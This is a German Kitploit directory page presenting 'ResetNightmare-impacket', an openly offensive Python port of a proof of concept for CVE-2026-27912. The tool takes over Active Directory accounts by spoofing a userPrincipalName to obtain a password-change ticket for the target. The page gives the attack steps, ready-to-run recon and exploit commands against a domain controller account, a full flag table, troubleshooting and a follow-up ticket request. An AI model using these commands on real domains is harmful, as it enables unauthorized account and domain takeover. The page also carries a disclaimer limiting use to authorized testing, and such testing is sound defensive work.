Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ResetNightmare-impacket — CVE-2026-27912 (ResetNightmare) — Linux/impacket-Port des Invoke-ResetNightmare-PoC von Semperis Community | Kitploit
Tools/GitHubGitHub/mihat2/resetnightmare-impacket
PasswortangriffeSchwachstellenanalyseExploitationInformationsbeschaffungPenetrationstestsAuthentifizierungRed Teaming
GitHubmihat2/resetnightmare-impacket

ResetNightmare-impacket

CVE-2026-27912 (ResetNightmare) — Linux/impacket-Port des Invoke-ResetNightmare-PoC von Semperis Community

Repository anzeigen
13vor 9 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

ResetNightmare — CVE-2026-27912

Linux-/impacket-Tooling für CVE-2026-27912 ("ResetNightmare"). Setzt das Passwort eines Active-Directory-Zielkontos zurück, indem ein kadmin/changepw-TGT für einen NT_ENTERPRISE-Principal angefordert wird, dessen Name der sAMAccountName des Ziels ist, unter Verwendung eines Kontos (UPNUser), auf dem wir eine gefälschte userPrincipalName schreiben können.

Python-Port des Semperis Community Invoke-ResetNightmare-PowerShell-Tools (siehe Danksagungen).

⚠️ Rechtlicher Haftungsausschluss

Nur für autorisierte Sicherheitstests und zu Bildungszwecken. Dieses Tool verändert echte Active-Directory-Anmeldeinformationen und kann Konten sperren.

  • Führen Sie es nur gegen Systeme aus, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben (ein unterzeichneter Auftrag oder ein Labor, das Sie kontrollieren).
  • Unbefugter Zugriff auf Computersysteme ist illegal (z. B. der US-amerikanische CFAA, der britische Computer Misuse Act und entsprechende Gesetze) und kann straf- und zivilrechtliche Sanktionen nach sich ziehen.
  • Die Autoren übernehmen keine Haftung für Missbrauch. Die Software wird "wie besehen" bereitgestellt — siehe LICENSE. Wenn Sie keine Berechtigung haben, führen Sie dieses Tool nicht aus.

So funktioniert es

  1. (optional) UPNUser erstellen, sich selbst GenericAll gewähren, das Passwort setzen und das Konto aktivieren.
  2. Den sAMAccountName des Ziels auflösen.
  3. UPNUser.userPrincipalName = <targetSAN> setzen (die gefälschte UPN).
  4. AS-REQ als NT_ENTERPRISE '<targetSAN>' für kadmin/changepw — der KDC mappt die Enterprise-UPN auf das Ziel und stellt ein Passwortänderungs-TGT dafür aus.
  5. Die gefälschte UPN löschen.
  6. kpasswd-Passwortänderung mit diesem TGT → setzt das Passwort des Ziels.
  7. Die ursprüngliche UPN von UPNUser wiederherstellen.

Installation

root@kitploit:~
python3 -m venv venv
./venv/bin/pip install -r requirements.txt

Verwendung

Die Anmeldedaten des Operators sind das erste Positionsargument: [domain/]username[:password]. Jedes Passwort kann weggelassen werden; Sie werden dann zur Eingabe aufgefordert.

Aufklärung – was kann dieses Konto missbrauchen? Meldet Konten, auf denen Sie eine UPN schreiben können, OUs, in denen Sie Objekte erstellen können, sowie die MachineAccountQuota, mit vorgeschlagenen Befehlen:

root@kitploit:~
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --find

Ziel zurücksetzen mit einem Konto, auf dem Sie eine UPN schreiben können:

root@kitploit:~
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --upn-user svc_web --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Das UPN-Konto zuerst erstellen (benötigt Create Child auf der OU und LDAPS):

root@kitploit:~
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
  --upn-user pwned_user --upn-user-password 'Cr34ted#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Fügen Sie -debug für ausführliche AS-REQ-/LDAP-/kpasswd-Protokollierung hinzu.

Flags

Fehlerbehebung

--create-new-path-Fehler:

Hinweise:

  • LDAPS ist standardmäßig aktiviert. AD akzeptiert unicodePwd-Schreibvorgänge nur über TLS, daher benötigt --create-new-path dies. Verwenden Sie --no-ssl nur für reine Lese-/UPN-Pfade.
  • --find meldet nur Allow-ACEs, die Ihnen oder Ihren Gruppen gewährt wurden (plus Objektbesitz und MachineAccountQuota); Deny-ACEs und domänenübergreifende Mitgliedschaften werden nicht vollständig ausgewertet. Ein leeres Ergebnis ist kein Beweis dafür, dass es keinen Pfad gibt — verifizieren Sie vor der Verwendung.

Nach dem Erfolg

Das Tool gibt einen Folgebefehl aus, um ein nutzbares Ticket als das Ziel zu erhalten:

root@kitploit:~
getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'

Danksagungen

  • Semperis Community — ResetNightmare — ursprüngliche Forschung und das PowerShell-Tool Invoke-ResetNightmare, das dieses Projekt portiert.
  • impacket — Kerberos- und ldaptypes-Primitive.
  • ldap3 — der LDAP-Client.

Unabhängiger Community-Port; nicht mit Semperis verbunden oder von Semperis unterstützt.

Lizenz

MIT © 2026 mihat2.

Tool herunterladen
FlagBedeutung
<positional>Operator-Anmeldedaten: [domain/]username[:password]
--target-accountsAMAccountName, der zurückgesetzt werden soll (Computerkonten enden mit $)
--target-new-passwordNeues Passwort, das auf dem Ziel gesetzt werden soll
--upn-userKonto, auf dem die gefälschte UPN geschrieben werden soll (oder mit --create-new-path erstellen)
--upn-user-passwordKlartext-Passwort von --upn-user
--computer--upn-user als Computerkonto behandeln
--create-new-path <DN>OU/Container, in dem --upn-user zuerst erstellt werden soll (benötigt LDAPS)
--findAufklärung: missbrauchbare Konten/OUs + vorgeschlagene Befehle melden, dann beenden
--list-ousOUs/Container auflisten und beenden (ein gültiges --create-new-path wählen)
--aes-key <hex>AES-Schlüssel von --upn-user für die AS-REQ statt eines Passworts
--upn-user-hash <NT>NT-Hash (oder LM:NT) von --upn-user für die AS-REQ statt eines Passworts
-k, --kerberosKerberos-LDAP-Bind (SASL/GSSAPI) (verwendet KRB5CCNAME)
-H LM:NTPass-the-Hash-LDAP-Bind (NTLM)
--no-passNicht nach einem Passwort fragen (-k / KRB5CCNAME verwenden)
--dc-hostDC-Hostname/FQDN (für Kerberos-SPNs)
--dc-ipDC-IP-Adresse
--no-sslUnverschlüsseltes LDAP/389 (inkompatibel mit --create-new-path)
--supported-encryptionBevorzugter Verschlüsselungstyp, nur informativ (Standard aes256)
-debugAusführliche Protokollierung
SymptomUrsacheLösung
result 50, insufficientAccessRightsDie OU existiert, aber Sie haben kein Create Child-Recht darauf.Verwenden Sie eine OU, in die Sie schreiben können (--list-ous / --find), oder lassen Sie --create-new-path weg und missbrauchen Sie ein vorhandenes Konto über --upn-user.
result 32, noSuchObject — best match: DC=corp,DC=localDie übergeordnete Kette der DN existiert nicht (teilweise/geratene DN).Listen Sie mit --list-ous auf und fügen Sie die vollständige verschachtelte DN ein. OUs sind verschachtelt; ein Name allein ist nicht ihr Pfad.
result 53, unwillingToPerform beim Passwort-SchrittunicodePwd-Schreiben über einen Nicht-TLS-Kanal oder ein im Vergleich zur Richtlinie zu schwaches Passwort.LDAPS beibehalten (nicht --no-ssl übergeben); ein konformes Passwort verwenden.